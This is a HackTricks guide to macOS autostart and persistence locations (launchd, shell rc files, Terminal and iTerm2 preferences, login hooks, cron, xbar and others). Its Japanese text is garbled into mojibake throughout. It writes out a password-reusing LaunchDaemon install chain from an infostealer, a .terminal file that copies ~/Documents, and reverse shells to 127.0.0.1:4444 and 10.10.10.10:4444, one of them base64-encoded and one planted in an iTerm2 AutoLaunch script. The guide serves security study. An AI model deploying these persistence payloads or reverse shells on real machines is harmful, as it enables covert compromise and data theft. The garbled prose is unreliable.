macOS èªåèµ·å
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
ãã®ã»ã¯ã·ã§ã³ã¯ããã°ã·ãªãŒãº Beyond the good olâ LaunchAgents ã«åŒ·ãåºã¥ããŠãããç®ç㯠ããå€ãã® Autostart Locations ã远å ïŒå¯èœãªå ŽåïŒãææ°ã® macOS (13.4) ã§ ã©ã®æè¡ããŸã åäœããã ã瀺ããå¿ èŠãª permissions ãæç€ºããããšã§ãã
Sandbox Bypass
Tip
ããã§ã¯ sandbox bypass ã«æçšãªèµ·åå Žæã玹ä»ããŸããããã«ãããåã«ãã¡ã€ã«ã«æžã蟌ã¿ãéåžžã«äžè¬çãªã¢ã¯ã·ã§ã³ãæå®ã®æéããŸã㯠sandbox å ããéåžžå®è¡ã§ããã¢ã¯ã·ã§ã³ãåŸ ã€ã ãã§äœããå®è¡ã§ããŸãïŒroot æš©éã¯äžèŠã§ãïŒã
Launchd
Locations
/Library/LaunchAgents- ããªã¬ãŒ: åèµ·å
- Root required
/Library/LaunchDaemons- ããªã¬ãŒ: åèµ·å
- Root required
/System/Library/LaunchAgents- ããªã¬ãŒ: åèµ·å
- Root required
/System/Library/LaunchDaemons- ããªã¬ãŒ: åèµ·å
- Root required
~/Library/LaunchAgents- ããªã¬ãŒ: åãã°ã€ã³
~/Library/LaunchDemons- ããªã¬ãŒ: åãã°ã€ã³
Tip
è峿·±ãäºå®ãšããŠã
launchd㯠Mach-o ã»ã¯ã·ã§ã³__Text.__configã«åã蟌ãŸãã property list ãæã¡ãããã«ã¯ launchd ãèµ·åãã¹ãä»ã®ããç¥ããããµãŒãã¹ãå«ãŸããŠããŸããããã«ããããã®ãµãŒãã¹ã¯RequireSuccess,RequireRunããã³RebootOnSuccessãå«ãããšããããããã¯ããããå®è¡ããæ£åžžã«å®äºããªããã°ãªããªãããšãæå³ããŸãããã¡ãããcode signing ã®ãã倿Žã§ããŸããã
Description & Exploitation
launchd ã¯èµ·åæã« OS X ã«ãŒãã«ã«ãã£ãŠå®è¡ãããæåã®ããã»ã¹ã§ãããã·ã£ããããŠã³æã«æåŸã«çµäºããããã»ã¹ã§ããåžžã« PID 1 ãæã¡ãŸãããã®ããã»ã¹ã¯ä»¥äžã® ASEP ã® plists ã«ç€ºãããèšå®ãèªã¿åãå®è¡ããŸã:
/Library/LaunchAgents: 管çè ã«ãã£ãŠã€ã³ã¹ããŒã«ããããŠãŒã¶ãŒåäœã®ãšãŒãžã§ã³ã/Library/LaunchDaemons: 管çè ã«ãã£ãŠã€ã³ã¹ããŒã«ãããã·ã¹ãã å šäœã®ããŒã¢ã³/System/Library/LaunchAgents: Apple ãæäŸãããŠãŒã¶ãŒåäœã®ãšãŒãžã§ã³ã/System/Library/LaunchDaemons: Apple ãæäŸããã·ã¹ãã å šäœã®ããŒã¢ã³
ãŠãŒã¶ãŒããã°ã€ã³ãããšã/Users/$USER/Library/LaunchAgents ããã³ /Users/$USER/Library/LaunchDemons ã«ãã plists ã¯ãã°ã€ã³äžã®ãŠãŒã¶ãŒã®æš©éã§èµ·åãããŸãã
ãšãŒãžã§ã³ããšããŒã¢ã³ã®äž»ãªéãã¯ããšãŒãžã§ã³ãã¯ãŠãŒã¶ãŒããã°ã€ã³ãããšãã«èªã¿èŸŒãŸããããŒã¢ã³ã¯ã·ã¹ãã èµ·åæã«èªã¿èŸŒãŸããç¹ã§ãïŒssh ã®ããã«ãŠãŒã¶ãŒãã¢ã¯ã»ã¹ããåã«å®è¡ãããå¿ èŠããããµãŒãã¹ãããããïŒããŸãããšãŒãžã§ã³ã㯠GUI ã䜿çšã§ããäžæ¹ã§ãããŒã¢ã³ã¯ããã¯ã°ã©ãŠã³ãã§åäœããå¿ èŠããããŸãã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>
ãŠãŒã¶ããã°ã€ã³ããåã«agentãå®è¡ããå¿
èŠãããã±ãŒã¹ãããããããPreLoginAgentsãšåŒã³ãŸããäŸãã°ããã°ã€ã³æã«æ¯æŽæè¡ãæäŸããã®ã«æçšã§ãã/Library/LaunchAgentsã«ãèŠã€ãããŸãïŒäŸã¯hereãåç
§ïŒã
Tip
æ°ãã Daemons ã Agents ã®èšå®ãã¡ã€ã«ã¯æ¬¡ååèµ·ååŸã«ããŸãã¯
launchctl load <target.plist>ã䜿ã£ãŠèªã¿èŸŒãŸããŸããæ¡åŒµåãªãã® .plist ãã¡ã€ã«ã¯launchctl -F <file>ã§èªã¿èŸŒãããšãå¯èœã§ãïŒãã ããããã® plist ãã¡ã€ã«ã¯åèµ·ååŸã«èªåã§èªã¿èŸŒãŸããŸããïŒã
ãŸãlaunchctl unload <target.plist>ã§unloadããããšãå¯èœã§ãïŒæå®ãããããã»ã¹ã¯çµäºããŸãïŒãAgent ã Daemon ã®å®è¡ã劚ããäœãïŒoverride ã®ãããªãã®ïŒããªãããšã確èªããã«ã¯ã次ãå®è¡ããŠãã ãã:
sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist
çŸåšã®ãŠãŒã¶ãèªã¿èŸŒãã§ãããã¹ãŠã® agents ãš daemons ãäžèŠ§è¡šç€º:
launchctl list
äŸ: æªæã®ãã LaunchDaemon ãã§ãŒã³ (password reuse)
æè¿ã® macOS infostealer ã¯ãcaptured sudo password ãåå©çšããŠããŠãŒã¶ãŒãšãŒãžã§ã³ããš root LaunchDaemon ãé 眮ããŸãã:
- ãšãŒãžã§ã³ãã®ã«ãŒãã
~/.agentã«æžã蟌ã¿ãå®è¡å¯èœã«ããã - ãã®ãšãŒãžã§ã³ããæã plist ã
/tmp/starterã«çæããã - çãŸãããã¹ã¯ãŒãã
sudo -Sãšå ±ã«åå©çšããŠ/Library/LaunchDaemons/com.finder.helper.plistã«ã³ããŒããroot:wheelãèšå®ããŠlaunchctl loadã§ããŒãããã - åºåãåãé¢ãããã«
nohup ~/.agent >/dev/null 2>&1 &ã䜿ã£ãŠãšãŒãžã§ã³ãããµã€ã¬ã³ãã«èµ·åããã
printf '%s\n' "$pw" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist
nohup "$HOME/.agent" >/dev/null 2>&1 &
Warning
plistããŠãŒã¶ãŒææã§ããã°ãããšãdaemonã®ã·ã¹ãã å šäœã®ãã©ã«ãå ã«ãã£ãŠããã¿ã¹ã¯ã¯rootã§ã¯ãªããã®ãŠãŒã¶ãŒãšããŠå®è¡ããããããã¯äžéšã®æš©éææ Œæ»æãé²ãå¯èœæ§ãããã
launchdã«é¢ãã詳现
launchdã¯ã«ãŒãã«ããèµ·åãããæåã®ãŠãŒã¶ãŒã¢ãŒãããã»ã¹ã§ããããã»ã¹ã®éå§ã¯å¿
ãæåããªããã°ãªãããçµäºãã¯ã©ãã·ã¥ãèš±ãããŸãããããã«äžéšã®killã·ã°ãã«ãããä¿è·ãããŠããŸãã
launchdãæåã«è¡ãããšã®äžã€ã¯ã次ã®ãããªdaemonsããã¹ãŠèµ·åããããšã§ã:
- Timer daemonsïŒæéããŒã¹ã§å®è¡ãããïŒ:
- atd (
com.apple.atrun.plist):StartIntervalã 30min - crond (
com.apple.systemstats.daily.plist):StartCalendarIntervalã§ 00:15 ã«éå§ - Network daemons ã®äŸ:
org.cups.cups-lpd: TCPã§ãªãã¹ã³ïŒSockType: streamïŒããSockServiceName: printer- SockServiceName ã¯ããŒãã
/etc/servicesã®ãµãŒãã¹åã§ãªããã°ãªããŸãã com.apple.xscertd.plist: TCPã®ããŒã1640ã§ãªãã¹ã³- Path daemonsïŒæå®ãããã¹ã倿Žããããšãã«å®è¡ãããïŒ:
com.apple.postfix.master:/etc/postfix/aliasesãã¹ãç£èŠ- IOKit notifications daemons:
com.apple.xartstorageremoted:"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...- Mach port:
com.apple.xscertd-helper.plist:MachServicesãšã³ããªã«com.apple.xscertd.helperãšããååã瀺ããŠãã- UserEventAgent:
- ããã¯åè¿°ã®ãã®ãšã¯ç°ãªããŸããç¹å®ã®ã€ãã³ãã«å¿ã㊠launchd ã«ãã£ãŠã¢ããªãèµ·åãããŸãããã ãããã®å Žåã®äž»èŠãã€ããªã¯
launchdã§ã¯ãªã/usr/libexec/UserEventAgentã§ãããã©ã°ã€ã³ã¯ SIP å¶éããããã©ã«ã/System/Library/UserEventPlugins/ããããŒããããåãã©ã°ã€ã³ã¯XPCEventModuleInitializerããŒã§åæååã瀺ãããå€ããã©ã°ã€ã³ã§ã¯Info.plistã®CFPluginFactoriesèŸæžå ã®ããŒFB86416D-6164-2070-726F-70735C216EC0ã®äžã§ç€ºããŸãã
shell startup files
Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/
- ãµã³ãããã¯ã¹åé¿ã«æçš: â
- TCC Bypass: â
- ãã ãããããã®ãã¡ã€ã«ãããŒãããã·ã§ã«ãå®è¡ããTCCãã€ãã¹ãæã€ã¢ããªãèŠã€ããå¿ èŠããã
Locations
~/.zshrc,~/.zlogin,~/.zshenv.zwc,~/.zshenv,~/.zprofile- Trigger: zshã§ã¿ãŒããã«ãéã
/etc/zshenv,/etc/zprofile,/etc/zshrc,/etc/zlogin- Trigger: zshã§ã¿ãŒããã«ãéãïŒrootæš©éãå¿ èŠïŒ
~/.zlogout- Trigger: zshã®ã¿ãŒããã«ãçµäºãã
/etc/zlogout- Trigger: zshã®ã¿ãŒããã«ãçµäºããïŒrootæš©éãå¿ èŠïŒ
- 詳现ã¯:
man zsh ~/.bashrc- Trigger: bashã§ã¿ãŒããã«ãéã
/etc/profileïŒåäœããªãã£ãïŒ~/.profileïŒåäœããªãã£ãïŒ~/.xinitrc,~/.xserverrc,/opt/X11/etc/X11/xinit/xinitrc.d/- Trigger: xtermã§ããªã¬ãŒãããããšãæ³å®ãããããxtermã¯ã€ã³ã¹ããŒã«ãããŠããããã€ã³ã¹ããŒã«åŸã次ã®ãšã©ãŒãçºçãã: xterm:
DISPLAY is not set
Description & Exploitation
zsh ã bash ãšãã£ãã·ã§ã«ç°å¢ãèµ·åããéã«ãç¹å®ã®èµ·åãã¡ã€ã«ãå®è¡ãããŸããmacOSã¯çŸåšããã©ã«ãã·ã§ã«ãšã㊠/bin/zsh ã䜿çšããŠããŸãããã®ã·ã§ã«ã¯ Terminal ã¢ããªãèµ·åãããšãã SSH çµç±ã§ããã€ã¹ã«ã¢ã¯ã»ã¹ãããšãã«èªåçã«äœ¿ãããŸããbash ã sh ã macOS ã«ååšããŸãããæç€ºçã«åŒã³åºãå¿
èŠããããŸãã
zsh ã® man ããŒãžïŒman zsh ã§èªããïŒã¯ãèµ·åãã¡ã€ã«ã«é¢ããé·ã説æãå«ãã§ããŸãã
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
åãªãŒãã³ãããã¢ããªã±ãŒã·ã§ã³
Caution
èšèŒããã exploitation ã®èšå®ããã°ã¢ãŠãïŒãã°ã€ã³ããããã¯åèµ·åãè¡ã£ãŠããç§ã®ç°å¢ã§ã¯ã¢ããªãå®è¡ãããŸããã§ãããïŒã¢ããªãå®è¡ãããŠããªãã£ããããããããŸããããããã®æäœãè¡ãéã«ã¢ããªãæ¢ã«èµ·åããŠããå¿ èŠãããã®ãããããŸããïŒ
Writeup: https://theevilbit.github.io/beyond/beyond_0021/
å Žæ
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist- Trigger: Restart reopening applications
説æ & Exploitation
å床éããããã¹ãŠã®ã¢ããªã±ãŒã·ã§ã³ã¯ plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist ã®äžã«ãããŸãã
ã€ãŸããåãªãŒãã³ãããã¢ããªã±ãŒã·ã§ã³ãèªåã®ã¢ããªã«ãããã«ã¯ãåã«ã¢ããªããªã¹ãã«è¿œå ããã ãã§ãã
UUID ã¯ãã®ãã£ã¬ã¯ããªãäžèŠ§è¡šç€ºããããioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' ã§èŠã€ããããŸãã
åãªãŒãã³ãããã¢ããªã±ãŒã·ã§ã³ã確èªããã«ã¯æ¬¡ãå®è¡ã§ããŸã:
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
ãã®ãªã¹ãã«ã¢ããªã±ãŒã·ã§ã³ã远å ããã«ã¯ã次ã䜿çšã§ããŸã:
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Terminal ã®èšå®
- ãµã³ãããã¯ã¹åé¿ã«æçš: â
- TCCãã€ãã¹: â
- Terminalã¯ã䜿çšãããŠãŒã¶ãŒã®FDAæš©éãæã€ããšããã
å Žæ
~/Library/Preferences/com.apple.Terminal.plist- ããªã¬ãŒ: Terminalãéã
説æãšæªçš
~/Library/Preferences ã«ã¯ã¢ããªã±ãŒã·ã§ã³ã®ãŠãŒã¶ãŒèšå®ãä¿åãããŠããŸãããããã®èšå®ã®äžéšã¯ãä»ã®ã¢ããªã±ãŒã·ã§ã³ãã¹ã¯ãªãããå®è¡ããèšå®ãå«ãããšããããŸãã
äŸãã°ãTerminalã¯èµ·åæã«ã³ãã³ããå®è¡ã§ããŸã:
.png)
ãã®èšå®ã¯ãã¡ã€ã« ~/Library/Preferences/com.apple.Terminal.plist ã«æ¬¡ã®ããã«åæ ãããŸã:
[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]
ã€ãŸããã·ã¹ãã å
ã® terminal ã®èšå® plist ãäžæžãå¯èœã§ããã°ãopen æ©èœã䜿ã£ãŠ terminal ãéãããã®ã³ãã³ããå®è¡ãããããšãã§ããŸãã
You can add this from the cli with:
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
Terminalã¹ã¯ãªãã / ãã®ä»ã®ãã¡ã€ã«æ¡åŒµå
- sandboxåé¿ã«æçš: â
- TCC bypass: â
- Terminalã¯ãŠãŒã¶ãŒã®æš©éïŒäŸ: TCCïŒãå©çšã§ãããããæå¹
Location
- Anywhere
- Trigger: Open Terminal
Description & Exploitation
ãã**.terminal**ã¹ã¯ãªãããäœæããŠéããšãTerminal applicationãèªåçã«èµ·åããŠããã«èšèŒãããã³ãã³ããå®è¡ããŸããTerminalã¢ããªãç¹å¥ãªæš©éïŒäŸãã°TCCïŒãæã£ãŠããå Žåãããªãã®ã³ãã³ãã¯ãã®ç¹æš©ã§å®è¡ãããŸãã
Try it with:
# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
You could also use the extensions .command, .tool, with regular shell scripts content and they will be also opened by Terminal.
Caution
If terminal has Full Disk Access it will be able to complete that action (note that the command executed will be visible in a terminal window).
Audio Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0013/
Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882
- ãµã³ãããã¯ã¹åé¿ã«æçš: â
- TCC bypass: ð
- 远å ã®TCCã¢ã¯ã»ã¹ãåŸãããå ŽåããããŸã
å Žæ
/Library/Audio/Plug-Ins/HAL- rootæš©éãå¿ èŠ
- Trigger: Restart coreaudiod or the computer
/Library/Audio/Plug-ins/Components- rootæš©éãå¿ èŠ
- Trigger: Restart coreaudiod or the computer
~/Library/Audio/Plug-ins/Components- Trigger: Restart coreaudiod or the computer
/System/Library/Components- rootæš©éãå¿ èŠ
- Trigger: Restart coreaudiod or the computer
説æ
åè¿°ã® writeups ã«ããã°ããªãŒãã£ãªãã©ã°ã€ã³ãã³ã³ãã€ã«ããŠããŒããããããšãå¯èœã§ãã
QuickLook Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0028/
- ãµã³ãããã¯ã¹åé¿ã«æçš: â
- TCC bypass: ð
- 远å ã®TCCã¢ã¯ã»ã¹ãåŸãããå ŽåããããŸã
å Žæ
/System/Library/QuickLook/Library/QuickLook~/Library/QuickLook/Applications/AppNameHere/Contents/Library/QuickLook/~/Applications/AppNameHere/Contents/Library/QuickLook/
説æãšæªçš
QuickLook ãã©ã°ã€ã³ã¯ããã¡ã€ã«ã®ãã¬ãã¥ãŒãããªã¬ãŒãããšãïŒFinderã§ãã¡ã€ã«ãéžæããŠã¹ããŒã¹ããŒãæŒãïŒã«ãåœè©²ãã¡ã€ã«ã¿ã€ãããµããŒããããã©ã°ã€ã³ãã€ã³ã¹ããŒã«ãããŠããã°å®è¡ãããŸãã
èªåã® QuickLook ãã©ã°ã€ã³ãã³ã³ãã€ã«ããŠãåè¿°ã®ããããã®å Žæã«é 眮ãããšããŒãããã察å¿ãããã¡ã€ã«ã§ã¹ããŒã¹ãæŒãããšã§ããªã¬ãŒã§ããŸãã
ãã°ã€ã³/ãã°ã¢ãŠãããã¯
Caution
This didnât work for me, neither with the user LoginHook nor with the root LogoutHook
Writeup: https://theevilbit.github.io/beyond/beyond_0022/
å Žæ
- 次ã®ãããªã³ãã³ããå®è¡ã§ããå¿
èŠããããŸã:
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh Located in~/Library/Preferences/com.apple.loginwindow.plist
ãããã¯éæšå¥šã§ããããŠãŒã¶ãŒããã°ã€ã³ãããšãã«ã³ãã³ããå®è¡ããããã«äœ¿ããŸãã
cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
ãã®èšå®ã¯ /Users/$USER/Library/Preferences/com.apple.loginwindow.plist ã«ä¿åãããŠããŸãã
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
åé€ããã«ã¯:
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
root ãŠãŒã¶ãŒã®ãã®ã¯ /private/var/root/Library/Preferences/com.apple.loginwindow.plist ã«æ ŒçŽãããŠããŸã
æ¡ä»¶ä»ã Sandbox Bypass
Tip
ããã§ã¯ãsandbox bypass ã«äŸ¿å©ãªéå§å Žæã瀺ããŸããããã¯ããã¡ã€ã«ã«æžã蟌ãããš ã«ãã£ãŠåã«äœããå®è¡ããç¹å®ã® ããã°ã©ã ã®ã€ã³ã¹ããŒã«ãâããŸãäžè¬çã§ãªãâ ãŠãŒã¶ãŒ ã®æäœãç°å¢ãªã©ãããŸãäžè¬çã§ãªãæ¡ä»¶ãæåŸ ããããšã§å®è¡ã§ããææ³ã§ãã
Cron
Writeup: https://theevilbit.github.io/beyond/beyond_0004/
- sandbox bypass ã«æçš: â
- ãã ãã
crontabãã€ããªãå®è¡ã§ããå¿ èŠããããŸã - ãŸã㯠root ã§ããããš
- TCC bypass: ðŽ
Location
/usr/lib/cron/tabs/,/private/var/at/tabs,/private/var/at/jobs,/etc/periodic/- çŽæ¥æžã蟌ã¿ã¢ã¯ã»ã¹ã«ã¯ root ãå¿
èŠã§ãã
crontab <file>ãå®è¡ã§ããå Žå㯠root ã¯äžèŠã§ã - Trigger: cron ãžã§ãã«äŸå
説æ & Exploitation
次ã®ã³ãã³ãã§çŸåšã®ãŠãŒã¶ãŒã® cron ãžã§ããåæããŸãïŒ
crontab -l
ãŠãŒã¶ãŒã®cron jobsã¯ã/usr/lib/cron/tabs/ ãš /var/at/tabs/ ã§ç¢ºèªã§ããŸãïŒrootæš©éãå¿
èŠïŒã
MacOSã§ã¯ãã¹ã¯ãªãããäžå®ã®é »åºŠã§å®è¡ããããã€ãã®ãã©ã«ããæ¬¡ã®å Žæã«ãããŸãïŒ
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
ããã§ã¯éåžžã® cron jobsãat jobsïŒããŸã䜿ãããªãïŒãããã³ periodic jobsïŒäž»ã«äžæãã¡ã€ã«ã®ã¯ãªãŒã³ã¢ããã«äœ¿çšïŒã確èªã§ããŸããæ¥æ¬¡ã® periodic jobs ã¯äŸãã°: periodic daily ã§å®è¡ã§ããŸãã
ãŠãŒã¶ãŒã® user cronjob programatically ã远å ããã«ã¯ãæ¬¡ã®æ¹æ³ã䜿ããŸã:
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
iTerm2
解説: https://theevilbit.github.io/beyond/beyond_0002/
- sandbox ããã€ãã¹ããã®ã«æçš: â
- TCC ãã€ãã¹: â
- iTerm2 ã¯ãã€ãŠ TCC ã®æš©éãä»äžãããŠãã
å Žæ
~/Library/Application Support/iTerm2/Scripts/AutoLaunch- ããªã¬ãŒ: iTerm ãéã
~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt- ããªã¬ãŒ: iTerm ãéã
~/Library/Preferences/com.googlecode.iterm2.plist- ããªã¬ãŒ: iTerm ãéã
説æãšæªçš
~/Library/Application Support/iTerm2/Scripts/AutoLaunch ã«ä¿åãããã¹ã¯ãªããã¯å®è¡ãããŸããäŸãã°ïŒ
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
ãŸãã¯:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
ã¹ã¯ãªãã ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt ãå®è¡ãããŸã:
do shell script "touch /tmp/iterm2-autolaunchscpt"
iTerm2 ã®ç°å¢èšå®ãã¡ã€ã« ~/Library/Preferences/com.googlecode.iterm2.plist ã¯ãiTerm2 ã¿ãŒããã«ãéããããšãã«å®è¡ããã³ãã³ãã瀺ãããšããããŸãã
ãã®èšå®ã¯ iTerm2 ã®èšå®ã§æ§æã§ããŸã:
.png)
ãããŠããã®ã³ãã³ãã¯ç°å¢èšå®ã«åæ ãããŸã:
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
å®è¡ããã³ãã³ãã¯æ¬¡ã®ããã«èšå®ã§ããŸã:
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
Warning
éåžžã«é«ã確çã§ other ways to abuse the iTerm2 preferences ãååšããä»»æã®ã³ãã³ããå®è¡ã§ããŸãã
xbar
Writeup: https://theevilbit.github.io/beyond/beyond_0007/
- sandbox ããã€ãã¹ããã®ã«æçš: â
- ãã ã xbar ãã€ã³ã¹ããŒã«ãããŠããå¿ èŠããã
- TCC bypass: â
- Accessibility permissions ãèŠæ±ãã
Location
~/Library/Application\ Support/xbar/plugins/- Trigger: xbar ãèµ·åããããšã
Description
人æ°ã®ããããã°ã©ã xbar ãã€ã³ã¹ããŒã«ãããŠããå Žåã~/Library/Application\ Support/xbar/plugins/ ã«ã·ã§ã«ã¹ã¯ãªãããæžããŠããããšã§ãxbar èµ·åæã«ãã®ã¹ã¯ãªãããå®è¡ãããŸã:
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
Hammerspoon
解説: https://theevilbit.github.io/beyond/beyond_0008/
- sandbox ããã€ãã¹ããã®ã«æçš: â
- ãã ã Hammerspoon ãã€ã³ã¹ããŒã«ãããŠããå¿ èŠããã
- TCC bypass: â
- ã¢ã¯ã»ã·ããªãã£æš©éãèŠæ±ãã
å Žæ
~/.hammerspoon/init.lua- ããªã¬ãŒ: hammerspoon ãå®è¡ããããšã
説æ
Hammerspoon 㯠macOS åãã®èªååãã©ãããã©ãŒã ã§ãLUA ã¹ã¯ãªããèšèª ãå©çšããŠåäœããŸããå®å šãª AppleScript ã³ãŒãã®çµ±åãã·ã§ã«ã¹ã¯ãªããã®å®è¡ããµããŒãããŠãããã¹ã¯ãªããæ©èœãå€§å¹ ã«æ¡åŒµããŸãã
ã¢ããªã¯åäžã®ãã¡ã€ã« ~/.hammerspoon/init.lua ãåç
§ããèµ·åæã«ãã®ã¹ã¯ãªãããå®è¡ãããŸãã
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF
BetterTouchTool
- ãµã³ãããã¯ã¹ãåé¿ããã®ã«æçš: â
- ãã ã BetterTouchTool ãã€ã³ã¹ããŒã«ãããŠããå¿ èŠããã
- TCC bypass: â
- Automation-Shortcuts ãš Accessibility ã®æš©éãèŠæ±ãã
Location
~/Library/Application Support/BetterTouchTool/*
ãã®ããŒã«ã¯ãç¹å®ã®ã·ã§ãŒãã«ãããæŒããããšãã«å®è¡ããã¢ããªã±ãŒã·ã§ã³ãã¹ã¯ãªãããæå®ã§ãããæ»æè ã¯ããŒã¿ããŒã¹ã«èªåã® ã·ã§ãŒãã«ãããšå®è¡ããã¢ã¯ã·ã§ã³ ãèšå®ããä»»æã®ã³ãŒããå®è¡ãããããšãå¯èœãããããªãïŒã·ã§ãŒãã«ããã¯åã«ããŒãæŒãããšã§ãããïŒã
Alfred
- ãµã³ãããã¯ã¹ãåé¿ããã®ã«æçš: â
